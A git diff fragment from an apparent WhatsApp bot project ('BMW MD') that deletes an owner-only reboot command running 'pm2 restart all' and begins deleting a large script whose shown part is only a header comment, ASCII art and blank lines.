-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-const {adams}=require("../Ibrahim/adams")
-
-
-
-
-
-
-
-adams({nomCom:"reboot",categorie:"Mods",reaction:"👨🏿💼"},async(dest,z,com)=>{
-
-
-
-const{repondre,ms,dev,superUser}=com;
-
- if(!superUser)
- {
- return repondre("This command is for owner only");
- }
-
- const {exec}=require("child_process")
-
- repondre("*restarting ...*");
-
- exec("pm2 restart all");
-
-
-
-
-
-
-})
diff --git a/scs/bmwbe.js b/scs/bmwbe.js
deleted file mode 100644
index a3d389d..0000000
--- a/scs/bmwbe.js
+++ /dev/null
@@ -1,15322 +0,0 @@
-/**
-Yoo bro what au looking for
-Just deploy the bot with original repo
-
-BMW MD
-
-Made by dev Ibrahim Adams
-
-
- _.u[[/;:,. .odMMMMMM'
- .o888UU[[[/;:-. .o@P^ MMM^
- oN88888UU[[[/;::-. dP^
- dNMMNN888UU[[[/;:--. .o@P^
- ,MMMMMMN888UU[[/;::-. o@^
- NNMMMNN888UU[[[/~.o@P^
- 888888888UU[[[/o@^-..
- oI8888UU[[[/o@P^:--..
- .@^ YUU[[[/o@^;::---..
- oMP ^/o@P^;:::---..
- .dMMM .o@^ ^;::---...
- dMMMMMMM@^` `^^^^
-YMMMUP^
-
- Unclone version 😂🤣
-
- **/
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
